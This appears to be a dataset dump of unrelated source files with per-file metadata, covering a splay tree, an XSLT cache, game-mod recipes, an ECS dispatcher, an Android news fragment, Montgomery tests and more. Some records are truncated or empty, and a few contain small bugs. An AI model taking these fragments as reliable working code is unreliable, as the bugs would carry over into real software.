#include <stdio.h> #include <stdlib.h> #include <time.h> #include <iostream> struct node // { int key;// struct node* left;// struct node* right;// }; struct node* newNode(int key); struct node* rightRotate(struct node* x); struct node* leftRotate(struct node* x); struct node* splay(struct node* root, int key); struct node* delete_key(struct node* root, int key); struct node* insert(struct node* root, int k); struct node* min_root(struct node* root); struct node* max_root(struct node* root); struct node* search_root(node* root, int key); void preOrder(struct node* root);
C#
UTF-8
6,022
2.578125
3
[ "MIT" ]
permissive
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading; using System.Xml.Xsl; using System.Diagnostics; using System.Globalization; using System.IO; namespace Arebis.Caching { /// <summary> /// A cache for XSLT document files. /// </summary> public class XsltFileCache : FileCache<XslCompiledTransform> { /// <summary> /// Instantiates a file cache to hold compiled XSLT documents. /// </summary> public XsltFileCache() { } /// <summary> /// Instantiates a file cache to hold compiled XSLT documents. /// </summary> public XsltFileCache(string appSettingsBaseKey) :base(appSettingsBaseKey) { } /// <summary> /// Instantiates a file cache to hold compiled XSLT documents up to the given number or /// file size rules. /// </summary> public XsltFileCache(string appSettingsBaseKey, int defaultMaxFileCount, long defaultMaxFileLengthToCache, long defaultMaxFileLengthSum, bool defaultInvalidateOnSoftRecycle) : base(appSettingsBaseKey, defaultMaxFileCount, defaultMaxFileLengthToCache, defaultMaxFileLengthSum, defaultInvalidateOnSoftRecycle) { } /// <summary> /// Instantiates a file cache to hold compiled XSLT documents up to the given number or /// file size rules. /// </summary> public XsltFileCache(int maxFileCount, long maxFileLengthToCache, long maxFileLengthSum, bool invalidateOnSoftRecycle) : base(maxFileCount, maxFileLengthToCache, maxFileLengthSum, invalidateOnSoftRecycle) { } protected override XslCompiledTransform Load(string filePath) { XslCompiledTransform document = new XslCompiledTransform(); document.Load(filePath); return document; } } /// <summary> /// A cache for XSLT document files. /// </summary> [Obsolete("Use XsltFileCache instead.")] public class XsltCache2 { private const int _lockTimeout = 10000; private Dictionary<string, XsltCacheSlot> _xsltCache = new Dictionary<string, XsltCacheSlot>(); private ReaderWriterLock _lock = new ReaderWriterLock(); /// <summary> /// Returns the requested XSLT document. /// </summary> /// <param name="filePath">The filename of the XSLT document.</param> /// <returns>The requested XSLT document from cache.</returns> public XslCompiledTransform Get(string filePath) { // Validate arguments: if (string.IsNullOrEmpty(filePath)) { throw new ArgumentException("The specified key cannot be an empty string or null"); } // Acquire a reader lock: _lock.AcquireReaderLock(_lockTimeout); try { // Retrieve actual file timestamp: var actualTicks = File.GetLastWriteTime(filePath).Ticks; // If files does not exist, returns 01/01/1601 01:00:00, so anyway, does not throw an exception... // Try to retrieve the document from cache: XsltCacheSlot slot; if (_xsltCache.TryGetValue(filePath, out slot)) { // If found, verify it's timestamp, and if current, return the document: if (slot.FileLastWriteTimeTicks == actualTicks) { return slot.Document; } } // Upgrade to a writer lock: _lock.UpgradeToWriterLock(_lockTimeout); // Create a new cache slot by loading the document from disk: slot = _xsltCache[filePath] = new XsltCacheSlot() { FilePath = filePath, Document = this.Load(filePath), FileLastWriteTimeTicks = actualTicks }; // Return the document: return slot.Document; } finally { // Release reader and/or writer lock: _lock.ReleaseLock(); } } /// <summary> /// Removes a xlscompileTransform from the cache /// </summary> /// <param name="filePath">The filename of the XSLT template.</param> public void Invalidate(string filePath) { try { _lock.AcquireWriterLock(_lockTimeout); _xsltCache[filePath] = null; } finally { _lock.ReleaseWriterLock(); } } /// <summary> /// Loads an XSLT document and returns the document /// as compiled XSLT. /// </summary> /// <param name="filePath">The filename of the XSLT template.</param> private XslCompiledTransform Load(string filePath) { XslCompiledTransform myTransformer = new XslCompiledTransform(); myTransformer.Load(filePath); return myTransformer; } class XsltCacheSlot { public string FilePath { get; set; } public long FileLastWriteTimeTicks { get; set; } public XslCompiledTransform Document { get; set; } public override bool Equals(object obj) { var other = obj as XsltCacheSlot; if (other == null) return false; else return String.Equals(this.FilePath, other.FilePath); } public override int GetHashCode() { return this.FilePath.GetHashCode(); } } } }
Python
UTF-8
621
2.640625
3
[ "MIT" ]
permissive
class Solution: def videoStitching(self, clips: List[List[int]], time: int) -> int: dp = [99999] * (time + 1) dp[0] = 0 clips.sort(key=lambda x: (x[1], -x[0])) reach = 0 for clip in clips: if (clip[0] > reach) or (clip[0] >= time): continue for i in range(clip[0] + 1, min(clip[1] + 1, time + 1)): dp[i] = min(dp[i], dp[clip[0]] + 1) reach = max(reach, clip[1]) if reach >= time: return dp[time] else: return -1
Java
UTF-8
478
3.203125
3
[]
no_license
package trial; public class staircase { public void print(int n) { for (int i = n-1; i >= 0; i--) { for(int j =0; j <n;j++) if(j<i) System.out.print(" "); else System.out.print("#"); System.out.println(); } } public static void main (String[] args) { String s = "I had a,word:till now. but-dont"; String[] words = s.split("\\s+|-|\\.|:"); System.out.println(words.length); staircase st = new staircase(); st.print(6); } }
Markdown
UTF-8
793
3.421875
3
[]
no_license
## <b> Pre-test</b> #### Please attempt the following questions Q.What is matrix?<br> a)An equation of over 5 numbers or symbols .<br> <b>b)A set of numbers in rows and columns.</b><br> c)A method of finding the nth value of a series.<br> d)A complicated number system.<br> Q.What must be true in order to determine inverse of matrix?<br> a)They must be square.<br> b)The dimensions/size must be equal.<br> <b>c)The determinant can't equal 0.</b><br> d)The column of the 1st must equal the row of the 2nd.<br> Q.You can multiply a 2X3 matrix by which matrix below?<br> a)2X2<br> b)2X1<br> <b>c)3X12</b><br> d)2X3<br> Q. Can you multiply a 3 x 4 matrix with a 4 x 2 matrix?<br> <b>a)Yes</b><br> b)No<br> Q.How many columns are in a 5 x 4 matrix?<br> a)5<br> <b>b)4</b><br> c)2<br> d)9<br>
Java
UTF-8
227
2.328125
2
[ "BSD-3-Clause" ]
permissive
package com.jayfella.pixels.core; import com.jme3.math.Vector2f; /** * A generic noise evaluator that allows the user to use any noise generator. */ public interface NoiseEvaluator { float evaluate(float x, float y); }
Markdown
UTF-8
277
3.015625
3
[ "MIT" ]
permissive
# Whiteboard Challenge 33 ##### Date: February 28, 2018 ##### Big O Notation:O(1) ## Problem Domain: &nbsp; Write a function that takes two arguments, a base number and an exponential, and returns the sum of the return value's digits. ```` For example: fn(2, 15) => 32768 => 26
C++
UTF-8
2,810
2.984375
3
[]
no_license
#pragma once #include <vector> #include <numeric> #include <algorithm> #include <span> #include <optional> #include "coords.hpp" struct TileState { int player = -1; int num = 0; }; class Board { std::vector<TileState> _state; std::vector<TriCoord> _exploding; std::vector<int> _totals; int _size; TileState& get(TriCoord c) { return _state[c.x * 2 + c.y * _size * 4 + c.R]; } public: Board() = default; Board(int size) : _state(size* size * 8), _size(size) {} std::span<const int> playerTotals() const { return _totals; } std::optional<int> isWon() const { if (std::ranges::count_if(_totals, [](auto e) {return e != 0; }) == 1) { auto winner = std::ranges::find_if(_totals, [](auto e) {return e > 1; }); if (winner != _totals.end()) { return winner - _totals.begin(); } } return {}; } bool inBounds(TriCoord c) const { auto b = c.bary(_size); auto [min, max] = std::minmax({ b.x,b.y,b.z }); return min >= 0 && max < _size * 2; } bool isEdge(TriCoord c) const { auto b = c.bary(_size); auto [min, max] = std::minmax({ b.x,b.y,b.z }); //Up edge triangles have a coord of 0, down edge triangles have a max coord return c.R ? (max == _size * 2 - 1) : (min == 0); } int allowedPieces(TriCoord c) const { return 2 - isEdge(c); } bool needsUpdate() const { return !_exploding.empty(); } int size() const { return _size; } TileState operator[](TriCoord c) const { return _state[c.x * 2 + c.y * _size * 4 + c.R]; } TileState at(TriCoord c) const { if (inBounds(c)) return (*this)[c]; return {}; } bool incTile(TriCoord c, int player, bool replace = false) { if (!inBounds(c)) return false; TileState& s = get(c); if (!replace && s.player >= 0 && s.player != player) return false; if (std::size_t(player) >= _totals.size()) _totals.resize(player+1,0); if(!replace) _totals[player]++; //Only add one to the total if it was a move done by the player instead of an explosion if (s.player != player && s.player >= 0) { _totals[s.player] -= s.num; _totals[player] += s.num; } s.player = player; s.num++; if (s.num > allowedPieces(c)) _exploding.push_back(c); return true; } void update_step() { std::vector<TriCoord> old_exploding; std::swap(old_exploding, _exploding); for (auto& c : old_exploding) { TileState& s = get(c); if (s.num <= allowedPieces(c)) continue; for (auto& n : c.neighbors()) { s.num -= incTile(n, s.player, true); } if (s.num == 0) s.player = -1; } } template<typename F> void iterTiles(F f) const { for (int x = 0; x < _size*2; ++x) { for (int y = 0; y < _size*2; ++y) { if (inBounds({ x,y,false })) if (!f(TriCoord{ x,y,false })) return; if (inBounds({ x,y,true })) if (!f(TriCoord{ x,y,true })) return; } } } };
Java
UTF-8
502
1.890625
2
[]
no_license
package com.leo.demo.test.rabbit; import org.springframework.amqp.core.Queue; import org.springframework.context.annotation.Configuration; /** * 文件名:RabbitConfig.java * * @create 2018-05-05 11:33 * <p> * <p> * <p> * 北京中油瑞飞信息技术有限责任公司(http://www.richfit.com) * Copyright 2017 Richfit Information Technology Co., LTD. All Right Reserved. */ @Configuration public class RabbitConfig { public Queue Queue(){ return new Queue("hello"); } }
Go
UTF-8
1,579
2.515625
3
[ "MIT" ]
permissive
// Unless explicitly stated otherwise all files in this repository are licensed // under the MIT License. // This product includes software developed at Guance Cloud (https://www.guance.com/). // Copyright 2021-present Guance, Inc. package nginx import ( "net" "net/url" "gitlab.jiagouyun.com/cloudcare-tools/datakit/internal/plugins/inputs" ) func getTags(urlString string) map[string]string { tags := map[string]string{ "nginx_server": "", "nginx_port": "", } addr, err := url.Parse(urlString) if err != nil { return tags } h := addr.Host host, port, err := net.SplitHostPort(h) if err != nil { host = addr.Host switch addr.Scheme { case "http": port = "80" case "https": port = "443" default: port = "" } } tags["nginx_server"] = host tags["nginx_port"] = port setHostTagIfNotLoopback(tags, host) return tags } func setHostTagIfNotLoopback(tags map[string]string, host string) { if host != "localhost" && !net.ParseIP(host).IsLoopback() { tags["host"] = host } } func newCountFieldInfo(desc string) *inputs.FieldInfo { return &inputs.FieldInfo{ DataType: inputs.Int, Type: inputs.Count, Unit: inputs.NCount, Desc: desc, } } func newByteFieldInfo(desc string) *inputs.FieldInfo { return &inputs.FieldInfo{ DataType: inputs.Int, Type: inputs.Gauge, Unit: inputs.SizeByte, Desc: desc, } } func newOtherFieldInfo(datatype, ftype, unit, desc string) *inputs.FieldInfo { return &inputs.FieldInfo{ DataType: datatype, Type: ftype, Unit: unit, Desc: desc, } }
JavaScript
UTF-8
410
2.75
3
[]
no_license
import math from 'mathjs'; const mae = (rating, rekomendasi) => { const result = []; rating.forEach((row, rowIndex) => { let pembilang = 0; const penyebut = row.length; row.forEach((val, valIndex) => { pembilang += val - rekomendasi[rowIndex][valIndex]; }); pembilang = math.abs(pembilang); result.push(pembilang / penyebut); }); return result; }; export default mae;
Ruby
UTF-8
404
3.390625
3
[]
no_license
class Phrase NOT_LETTERS_OR_NUMBERS_REGEXP = /[^a-z0-9]/ attr_accessor :message def initialize(message) @message = message end def word_count words = normalized_message.split(' ') words.each_with_object(Hash.new(0)) { |elem, result| result[elem] += 1 } end def normalized_message message.downcase.gsub(NOT_LETTERS_OR_NUMBERS_REGEXP, ' ').squeeze(' ') end end
Java
UTF-8
5,595
2.046875
2
[ "MIT" ]
permissive
package mrtjp.projectred.transmission.data; import codechicken.lib.colour.EnumColour; import codechicken.lib.datagen.recipe.RecipeProvider; import codechicken.lib.util.CCLTags; import mrtjp.projectred.transmission.WireType; import net.minecraft.data.DataGenerator; import net.minecraft.resources.ResourceLocation; import net.minecraft.tags.ItemTags; import net.minecraft.tags.TagKey; import net.minecraft.world.item.Item; import net.minecraftforge.common.Tags; import static mrtjp.projectred.transmission.ProjectRedTransmission.MOD_ID; import static mrtjp.projectred.core.init.CoreReferences.*; import static mrtjp.projectred.core.init.CoreTags.ELECTROTINE_ALLOY_INGOT_TAG; import static mrtjp.projectred.core.init.CoreTags.RED_ALLOY_INGOT_TAG; import static mrtjp.projectred.transmission.init.TransmissionTags.*; public class TransmissionRecipeProvider extends RecipeProvider { public TransmissionRecipeProvider(DataGenerator generatorIn) { super(generatorIn); } @Override public String getName() { return "ProjectRed-Transmission: Recipes"; } @Override protected void registerRecipes() { // Red alloy wire shapedRecipe(WireType.RED_ALLOY.getItem(), 12) .key('R', RED_ALLOY_INGOT_TAG) .patternLine(" R ") .patternLine(" R ") .patternLine(" R "); // Insulated wires for (WireType type : WireType.INSULATED_WIRES) { Item w = type.getItem(); shapedRecipe(w, 12) .key('W', getWoolTag(type.getColour())) .key('R', RED_ALLOY_INGOT_TAG) .patternLine("WRW") .patternLine("WRW") .patternLine("WRW"); // Re-colouring recipe shapelessRecipe(w, 1, new ResourceLocation(w.getRegistryName() + "_re_color")) .addIngredient(INSULATED_WIRE_ITEM_TAG) .addIngredient(getDyeTag(type.getColour())); } // Bundled cables shapedRecipe(WireType.BUNDLED_NEUTRAL.getItem()) .key('S', Tags.Items.STRING) .key('W', INSULATED_WIRE_ITEM_TAG) .patternLine("SWS") .patternLine("WWW") .patternLine("SWS"); for (WireType type : WireType.COLOURED_BUNDLED_WIRES) { Item w = type.getItem(); // Recolouring recipe shapelessRecipe(w, 1, new ResourceLocation(w.getRegistryName() + "_re_color")) .addIngredient(BUNDLED_WIRE_ITEM_TAG) .addIngredient(getDyeTag(type.getColour())); } // Low Load power line shapedRecipe(WireType.POWER_LOWLOAD.getItem(), 12) .key('I', ELECTROTINE_ALLOY_INGOT_TAG) .key('B', CCLTags.Items.WOOL_BLUE) .key('Y', CCLTags.Items.WOOL_YELLOW) .patternLine("BIB") .patternLine("YIY") .patternLine("BIB"); // Framed Red alloy wire framedWireRecipe(WireType.FRAMED_RED_ALLOY.getItem(), WireType.RED_ALLOY.getItem()); // Framed insulated wires for (int i = 0; i < 16; i++) { WireType type = WireType.FRAMED_INSULATED_WIRES[i]; Item w = type.getItem(); framedWireRecipe(w, WireType.INSULATED_WIRES[i].getItem()); // Re-colouring recipe shapelessRecipe(w, 1, new ResourceLocation(w.getRegistryName() + "_re_color")) .addIngredient(FRAMED_INSULATED_WIRE_ITEM_TAG) .addIngredient(getDyeTag(type.getColour())); } // Framed bundled wires framedWireRecipe(WireType.FRAMED_BUNDLED_NEUTRAL.getItem(), WireType.BUNDLED_NEUTRAL.getItem()); for (int i = 0; i < 16; i++) { WireType type = WireType.FRAMED_COLOURED_BUNDLED_WIRES[i]; Item w = type.getItem(); framedWireRecipe(w, WireType.COLOURED_BUNDLED_WIRES[i].getItem()); // Re-colouring recipe shapelessRecipe(w, 1, new ResourceLocation(w.getRegistryName() + "_re_color")) .addIngredient(FRAMED_BUNDLED_WIRE_ITEM_TAG) .addIngredient(getDyeTag(type.getColour())); } // Framed low load power line framedWireRecipe(WireType.FRAMED_POWER_LOWLOAD.getItem(), WireType.POWER_LOWLOAD.getItem()); // Wired plate shapedRecipe(WIRED_PLATE_ITEM, 1, new ResourceLocation(MOD_ID, WIRED_PLATE_ITEM.getRegistryName().getPath())) .key('W', WireType.RED_ALLOY.getItem()) .key('P', PLATE_ITEM) .patternLine("W") .patternLine("P"); // Bundled plate shapedRecipe(BUNDLED_PLATE_ITEM, 1, new ResourceLocation(MOD_ID, BUNDLED_PLATE_ITEM.getRegistryName().getPath())) .key('W', BUNDLED_WIRE_ITEM_TAG) .key('P', PLATE_ITEM) .patternLine("W") .patternLine("P"); } private void framedWireRecipe(Item result, Item input) { shapedRecipe(result) .key('S', Tags.Items.RODS_WOODEN) .key('I', input) .patternLine("SSS") .patternLine("SIS") .patternLine("SSS"); } private TagKey<Item> getWoolTag(EnumColour colour) { return ItemTags.create(colour.getWoolTagName()); } private TagKey<Item> getDyeTag(EnumColour colour) { return ItemTags.create(colour.getDyeTagName()); } }
C++
UTF-8
549
2.890625
3
[]
no_license
#include <iostream> #include <vector> #include <queue> using namespace std; class Solution { public: int minRefuelStops(int target, int startFuel, vector<vector<int>>& stations) { priority_queue<int>pq; int ans = 0; int last = 0; stations.push_back({ target,0 }); for (auto &station : stations) { startFuel -= station[0] - last; while (!pq.empty() && startFuel < 0) { startFuel += pq.top(); ans++; pq.pop(); } if (startFuel < 0)return -1; pq.push(station[1]); last = station[0]; } return ans; } };
Java
UTF-8
1,011
2.4375
2
[ "BSD-2-Clause" ]
permissive
package martin.common.xml; import org.xml.sax.InputSource; import org.xml.sax.SAXException; import org.xml.sax.helpers.DefaultHandler; import java.io.IOException; public class EntityResolver implements org.xml.sax.EntityResolver { private DefaultHandler defaultHandler = new DefaultHandler(); private String[] dtdLocations; private String[] scanStrings; public EntityResolver(String[] dtdLocations){ this.dtdLocations = dtdLocations; scanStrings = new String[dtdLocations.length]; for (int i = 0; i < dtdLocations.length; i++){ String dtdLocation = dtdLocations[i]; String[] temp = dtdLocation.split("/|\\\\"); scanStrings[i] = temp[temp.length-1]; } } public InputSource resolveEntity(String arg0, String arg1) throws SAXException, IOException { for (int i = 0; i < scanStrings.length; i++) if (arg1.indexOf(scanStrings[i]) != -1){ return new InputSource(dtdLocations[i]); } return defaultHandler.resolveEntity(arg0, arg1); } }
C++
UTF-8
4,259
2.625
3
[ "MIT" ]
permissive
// // Created by alex on 11/14/19. // #ifndef R_TYPE_DISPATCHER_HPP #define R_TYPE_DISPATCHER_HPP #include "Definitions.hpp" #include "StateMachine.hpp" #include "ThreadPool.hpp" #include "ISystem.hpp" #include <iostream> #include <queue> #include <array> namespace ecs { template<typename T> class ISystem; template <typename T, typename E> class Dispatcher { public: explicit Dispatcher(); Dispatcher(Dispatcher&& dispatcher) noexcept; Dispatcher& operator=(Dispatcher&& dispatcher) noexcept; ~Dispatcher(); void attachThreadPool(shared_ptr<ThreadPool<T, E>> pool); void dispatch(shared_ptr<T> data); template<typename S> void registerSystem(); template<typename S, typename... Args> void registerSystem(Args&&... args); Box<Dispatcher<T, E>> copy() const; [[nodiscard]] vector<string> getSystemNames() const; private: shared_ptr<ThreadPool<T, E>> m_pool; vector<unique_ptr<ISystem<T>>> m_systems; vector<bool> m_workersData; [[nodiscard]] uint32_t prepareDispatch() const; }; template <typename T, typename E> Dispatcher<T, E>::Dispatcher(Dispatcher&& dispatcher) noexcept : m_pool(move(dispatcher.m_pool)) , m_systems(move(dispatcher.m_systems)) { } template <typename T, typename E> Dispatcher<T, E>& Dispatcher<T, E>::operator=(Dispatcher&& dispatcher) noexcept { m_systems.swap(dispatcher.m_systems); m_pool = dispatcher.m_pool; return *this; } template <typename T, typename E> uint32_t Dispatcher<T, E>::prepareDispatch() const { uint32_t i = 0; while (true) { if (!m_workersData[i] /* workerData.conflict(fetchedData) */) return i; i++; i %= m_pool->m_nbThread; } } template <typename T, typename E> void Dispatcher<T, E>::dispatch(shared_ptr<T> inputData) { if (!m_pool) throw "Cannot dispatch without a ThreadPool attached."; for (auto& s : m_systems) { uint32_t index = this->prepareDispatch(); auto dependencies = s->getDependencies(); vector<Entity> fetchedData = inputData->world.fetchStorage(move(dependencies)); m_workersData[index] = true; m_pool->enqueueWork([&s, this, inputData, index, fetched{ move(fetchedData) }](shared_ptr<T> data) -> E { auto entities = (*s)(fetched, data); this->m_workersData[index] = false; inputData->world.storeEntities(any_cast<Vec<Entity>>(entities)); }, inputData); } } template <typename T, typename E> Dispatcher<T, E>::Dispatcher() : m_pool(nullptr) , m_systems() , m_workersData() { } template <typename T, typename E> template <typename S> void Dispatcher<T, E>::registerSystem() { static_assert(std::is_base_of<ecs::ISystem<T>, S>::value, "Dispatcher registered class need to be a ISystem."); m_systems.push_back(make_unique<S>()); } template <typename T, typename E> void Dispatcher<T, E>::attachThreadPool(shared_ptr<ThreadPool<T, E>> pool) { m_workersData.reserve(pool->m_nbThread); for (uint32_t i = 0; i < pool->m_nbThread; ++i) m_workersData.push_back(false); m_pool = pool; } template <typename T, typename E> template <typename S, typename... Args> void Dispatcher<T, E>::registerSystem(Args&&... args) { static_assert(std::is_base_of<ecs::ISystem<T>, S>::value, "Dispatcher registered class need to be a ISystem."); m_systems.push_back(make_unique<S>(forward<Args>(args)...)); } template <typename T, typename E> Dispatcher<T, E>::~Dispatcher() { if (m_pool.get() == nullptr) return; for (uint32_t i = 0; i < m_pool->m_nbThread; ++i) if (m_workersData[i]) { i--; continue; } } template <typename T, typename E> Box<Dispatcher<T, E>> Dispatcher<T, E>::copy() const { Box<Dispatcher<T, E>> dispatcher = std::make_unique<Dispatcher<T, E>>(); for (const auto& system : m_systems) { dispatcher->m_systems.push_back(static_unique_pointer_cast<ISystem<T>>(move(system->copy()))); } return dispatcher; } template <typename T, typename E> vector<string> Dispatcher<T, E>::getSystemNames() const { std::cout << m_systems.size() << std::endl; return vector<string>(); } } #endif //R_TYPE_DISPATCHER_HPP
Python
UTF-8
309
3.140625
3
[]
no_license
def solution(phone_book): answer = True phone_book.sort() for i in range(len(phone_book)-1): phone = phone_book[i] next_phone = phone_book[i+1] if len(phone) <= len(next_phone): if phone == next_phone[:len(phone)]: return False return answer
JavaScript
UTF-8
578
2.625
3
[ "Apache-2.0" ]
permissive
const Discord = require('discord.js'); module.exports = { name: "fuser", aliases: ["finduser", "find"], description: "Searchs users with a term provided. (In all guilds Im in)", run: async (client, message, args, config) => { let users = client.users; let searchTerm = args[0]; if(!searchTerm) return message.channel.send("Please type a term to search the user!"); let matches = users.filter(u => u.tag.toLowerCase().includes(searchTerm.toLowerCase())); message.channel.send(matches.map(u => u.tag)); } }
Java
UTF-8
9,822
1.851563
2
[]
no_license
package com.pbids.sanqin.ui.activity.zhizong; import android.os.Bundle; import android.os.Handler; import android.support.annotation.Nullable; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Toast; import com.andview.refreshview.XRefreshView; import com.lzy.okgo.model.HttpParams; import com.pbids.sanqin.R; import com.pbids.sanqin.common.BasePresenter; import com.pbids.sanqin.common.CommonFinalVariable; import com.pbids.sanqin.common.MyApplication; import com.pbids.sanqin.common.SanQinViewFooter; import com.pbids.sanqin.common.SanQinViewHeader; import com.pbids.sanqin.common.ToolbarFragment; import com.pbids.sanqin.model.entity.NewsArticle; import com.pbids.sanqin.model.entity.NewsInformation; import com.pbids.sanqin.presenter.ZhiZongMorePresenter; import com.pbids.sanqin.ui.recyclerview.adapter.NewsMoreAdapter; import com.pbids.sanqin.ui.recyclerview.adapter.base.GroupedRecyclerViewAdapter; import com.pbids.sanqin.ui.recyclerview.holder.BaseViewHolder; import com.pbids.sanqin.ui.view.AppToolBar; import com.pbids.sanqin.utils.AddrConst; import java.util.ArrayList; import java.util.List; import butterknife.Bind; import butterknife.ButterKnife; import io.reactivex.observers.DisposableObserver; /** * @author 巫哲豪 * @date on 2018/3/2 15:08 * @desscribe 类描述:首页list的更多界面 * @remark 备注: * @see */ public class ZhiZongMoreFragment extends ToolbarFragment implements AppToolBar.OnToolBarClickLisenear,ZhiZongMoreView{ @Bind(R.id.zhizong_more_rv) RecyclerView zhizongMoreRv; @Bind(R.id.zhizong_more_xr) XRefreshView zhizongMoreXr; List<NewsInformation> mNewsInformation; ZhiZongMorePresenter zhiZongMorePresenter; NewsMoreAdapter newsMoreAdapter; private int currentIndexPage = 1; DisposableObserver observer; int type = 0; public static ZhiZongMoreFragment newInstance() { ZhiZongMoreFragment fragment = new ZhiZongMoreFragment(); Bundle bundle = new Bundle(); fragment.setArguments(bundle); return fragment; } public void setNewsArticles(List<NewsInformation> newsInformation){ this.mNewsInformation = newsInformation; } @Override public View onToolBarCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View view = inflater.inflate(R.layout.fragment_zhizong_more, container, false); ButterKnife.bind(view); zhizongMoreRv = (RecyclerView) view.findViewById(R.id.zhizong_more_rv); zhizongMoreXr = (XRefreshView) view.findViewById(R.id.zhizong_more_xr); initView(); return view; } private void initView() { type = getArguments().getInt("type"); LinearLayoutManager manager = new LinearLayoutManager(_mActivity); manager.setOrientation(LinearLayoutManager.VERTICAL); zhizongMoreRv.setLayoutManager(manager); zhizongMoreRv.setAdapter(null); zhizongMoreRv.setNestedScrollingEnabled(false); zhizongMoreRv.setFocusable(false); zhizongMoreRv.setFocusableInTouchMode(false); zhizongMoreRv.requestFocus(); initXRefreshView(); initAdapter(); refreshNews(currentIndexPage); } @Override public void setToolBar(AppToolBar toolBar) { toolBar.setOnToolBarClickLisenear(this); toolBar.setLeftArrowCenterTextTitle("查看更多", _mActivity); } @Override public BasePresenter initPresenter() { return zhiZongMorePresenter = new ZhiZongMorePresenter(this); } @Override public void onClick(View v) { switch (v.getId()){ case R.id.main_left_layout: pop(); //返回 break; } } @Override public void onDestroyView() { super.onDestroyView(); ButterKnife.unbind(this); } @Override public void onHttpSuccess(String type) { if("1".equals(type)){ new Handler().postDelayed(new Runnable() { @Override public void run() { if(zhizongMoreXr!=null) { zhizongMoreXr.setLoadComplete(false); zhizongMoreXr.stopRefresh(); } } },1000); } } @Override public void onHttpError(String type) { zhizongMoreXr.stopRefresh(); zhizongMoreXr.stopLoadMore(); Toast.makeText(_mActivity,type,Toast.LENGTH_SHORT).show(); } private void initAdapter(){ newsMoreAdapter = new NewsMoreAdapter(_mActivity,new ArrayList<NewsInformation>()); newsMoreAdapter.setOnChildClickListener(new GroupedRecyclerViewAdapter.OnChildClickListener() { @Override public void onChildClick(GroupedRecyclerViewAdapter adapter, BaseViewHolder holder , int groupPosition, int childPosition) { ZhiZongWebFragment fragment = ZhiZongWebFragment.newInstance(); NewsArticle arc = newsMoreAdapter.getNewsInformations().get(groupPosition).getList().get(childPosition); fragment.getArguments().putString("link",arc.getLink()); start(fragment); } }); zhizongMoreRv.setAdapter(newsMoreAdapter); } // 数据加载完成 @Override public void getMoreNewsInformation(List<NewsInformation> newsInformations, String type) { if(type.equals("1")){ if(newsMoreAdapter!=null){ newsMoreAdapter.getNewsInformations().clear(); newsMoreAdapter.getNewsInformations().addAll(newsInformations); newsMoreAdapter.notifyDataSetChanged(); } if(zhizongMoreXr!=null){ zhizongMoreXr.setCustomFooterView(new SanQinViewFooter(_mActivity)); } }else{ if(newsInformations.get(0).getList().size()==0){ //已经加载完成全部列表数据 if(zhizongMoreXr!=null) { zhizongMoreXr.setLoadComplete(true); } }else{ if(newsMoreAdapter!=null) { newsMoreAdapter.getNewsInformations().addAll(newsInformations); newsMoreAdapter.notifyDataSetChanged(); } if(zhizongMoreXr!=null){ zhizongMoreXr.setLoadComplete(false); zhizongMoreXr.setCustomFooterView(new SanQinViewFooter(_mActivity)); } } } } public void initXRefreshView(){ // homeXrefreshview.setSilenceLoadMore(true); //设置刷新完成以后,headerview固定的时间 zhizongMoreXr.setPinnedTime(0); zhizongMoreXr.setMoveForHorizontal(true); zhizongMoreXr.setPullLoadEnable(true); zhizongMoreXr.setCustomHeaderView(new SanQinViewHeader(_mActivity)); zhizongMoreXr.setCustomFooterView(new SanQinViewFooter(_mActivity)); // homeXrefreshview.setAutoLoadMore(true); zhizongMoreXr.enableReleaseToLoadMore(true); zhizongMoreXr.enableRecyclerViewPullUp(true); zhizongMoreXr.enablePullUpWhenLoadCompleted(true); zhizongMoreXr.setPinnedContent(true); // homeXrefreshview.enablePullUp(true); // homeXrefreshview.ena //设置静默加载时提前加载的item个数 // xefreshView1.setPreLoadCount(4); //设置Recyclerview的滑动监听 zhizongMoreXr.setOnRecyclerViewScrollListener(new RecyclerView.OnScrollListener() { @Override public void onScrollStateChanged(RecyclerView recyclerView, int newState) { super.onScrollStateChanged(recyclerView, newState); } @Override public void onScrolled(RecyclerView recyclerView, int dx, int dy) { super.onScrolled(recyclerView, dx, dy); } }); zhizongMoreXr.setXRefreshViewListener(new XRefreshView.SimpleXRefreshListener() { @Override public void onRefresh(boolean isPullDown) { // 下拉刷新 currentIndexPage = 1; // new Handler().postDelayed(new Runnable() { // @Override // public void run() { // homeXrefreshview.stopRefresh(); // } // }, 3000); if (observer != null) { removeDisposable(observer); } refreshNews(1); } @Override public void onLoadMore(boolean isSilence) { // 上拉加载更多 if(observer!=null){ removeDisposable(observer); } currentIndexPage++; refreshNews(currentIndexPage); } }); } public void refreshNews(int indexPage) { HttpParams params = new HttpParams(); if(type == CommonFinalVariable.MORE_ME){ params.put("surname", MyApplication.getUserInfo().getSurname()); }else if(type == CommonFinalVariable.MORE_ZHIZONG){ params.put("surname", "知崇"); } params.put("pageIndex",indexPage); String url = AddrConst.SERVER_ADDRESS_NEWS + AddrConst.ADDRESS_NEWSMORE; observer = zhiZongMorePresenter.submitInformation(url, params, "" + indexPage); addDisposable(observer); } @Override public void onDestroy() { super.onDestroy(); } }
Python
UTF-8
204
3.28125
3
[]
no_license
def my_int(s, b = 10): if b == 2: return(int(s,2)) if b == 8: return(int(s,8)) if b == 16: return(int(s,16)) else: return(int(s)) print(my_int("1001", 8))
Python
UTF-8
850
3.015625
3
[]
no_license
import unittest from mongo import Montgomery class MyTestCase(unittest.TestCase): def setUp(self) -> None: self.obj = Montgomery(k=6, n=37) self.a = 52 self.b = 35 def test_multiply(self): a_n = self.obj.reminder(self.a) b_n = self.obj.reminder(self.b) result = self.obj.transform(self.obj.mon_pro(a_n, b_n)) self.assertEqual(self.a * self.b % self.obj.n, result) @unittest.skip("Always failure") def test_exponentiation(self): mod = 11 result = self.obj.mon_exp(self.a, self.b, mod) self.assertEqual(self.a ** self.b % mod, result) def test_exponentiation_base(self): result = self.obj.mon_exp(self.a, self.b, self.obj.n) self.assertEqual(self.a ** self.b % self.obj.n, result) if __name__ == '__main__': unittest.main()
C++
UTF-8
1,064
2.640625
3
[]
no_license
